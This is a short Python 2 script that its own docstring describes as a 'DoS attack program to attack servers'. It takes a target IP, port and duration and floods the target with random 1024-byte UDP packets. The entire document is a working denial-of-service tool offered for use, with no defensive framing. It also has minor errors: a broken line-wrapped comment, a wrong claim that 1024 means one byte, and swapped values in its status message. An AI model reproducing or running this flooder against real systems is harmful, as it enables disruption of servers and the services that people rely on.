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"""  
UDP Flooder.  
This is a 'Dos' attack program to attack servers, you set the IP  
and the port and the amount of seconds and it will start flooding to that server.  
(inspire from http://hazardedit.com/forum/viewtopic.php?t=73)
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Usage : ./flood_udp <ip> <port> <second>
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"""  
import time  
import socket  
import random  
import sys  
  
def usage():  
    print "Usage: " + sys.argv[0] + " <ip> <port> <second>"  
  
def flood(victim, vport, duration):  
    # okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP  
type program  
    client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
    # 1024 representes one byte to the server  
    bytes = random._urandom(1024)  
    timeout = time.time() + duration  
    sent = 0  
  
    while 1:  
        if time.time() > timeout:  
            break  
        else:  
            pass  
        client.sendto(bytes, (victim, vport))  
        sent = sent + 1  
        print "Attacking %s sent packages %s at the port %s"%(sent, victim, vport)  
  
def main():  
    print len(sys.argv)  
    if len(sys.argv) != 4:  
        usage()  
    else:  
        flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))  
  
if __name__ == '__main__':  
    main()
```